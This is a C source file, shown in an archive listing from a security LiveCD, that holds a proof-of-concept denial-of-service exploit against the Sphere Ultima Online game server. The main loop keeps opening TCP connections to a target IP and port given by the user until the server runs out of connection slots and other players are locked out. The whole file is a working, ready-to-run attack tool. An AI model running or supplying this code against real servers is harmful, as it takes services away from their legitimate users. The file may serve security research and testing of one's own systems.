home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / ultima / spherebreak.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  83 lines

  1. /*
  2.  *
  3.  * www.h07.org
  4.  * H Zero Seven
  5.  * Unix Security Research Team
  6.  *
  7.  * Sphere Ultima Online Server - Denial of Service Vulnerability
  8.  * poc-exploit...
  9.  *
  10.  * Simple code to eat all connections from the gameserver, so other
  11.  * peoples could not connect to the server.
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <sys/socket.h>
  18. #include <sys/types.h>
  19. #include <netinet/in.h>
  20. #include <stdarg.h>
  21. #include <time.h>
  22. #include <sys/time.h>
  23.  
  24. int Connect(int ip, int port)
  25. {
  26.    int fd;
  27.    struct sockaddr_in tgt;
  28.  
  29.    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  30.    if (fd<0) return -1;
  31.    memset(&tgt,0,sizeof(struct sockaddr_in));
  32.    tgt.sin_port = htons(port);
  33.    tgt.sin_family = AF_INET;
  34.    tgt.sin_addr.s_addr = ip;
  35.    if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
  36. return -1;
  37.    return fd;
  38. }
  39.  
  40. int sprint(int fd, const char *str,...)
  41. {
  42.    va_list args;
  43.    char buf[4096];
  44.    memset(&buf,0,sizeof(buf));
  45.    va_start(args,str);
  46.    vsnprintf(buf,sizeof(buf),str,args);
  47.    return(write(fd,buf,strlen(buf)));
  48. }
  49.  
  50. int main(int argc, char *argv[])
  51. {
  52.    int fd;
  53.    struct sockaddr_in box;
  54.  
  55.    fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
  56.    fprintf(stderr, "H Zero Seven - Unix Security Research Team -
  57. www.h07.org\n\n");
  58.    if (argc < 2) {
  59.       fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
  60.       return;
  61.    }
  62.  
  63.    fprintf(stderr,"for the full advisory regarding this vulnerability
  64. visit www.h07.org ... \n");
  65.    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  66.    if (fd<0) {
  67.       perror("socket() ");
  68.       return;
  69.    }
  70.  
  71.    fprintf(stderr,"Attacking sphere : ");
  72.    for (;;) {
  73.       int sock;
  74.  
  75.       sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
  76.       if (sock<0) {
  77.          sleep(10);
  78.          continue;
  79.       }
  80.        fprintf(stderr, ".*");
  81.    }
  82. }
  83.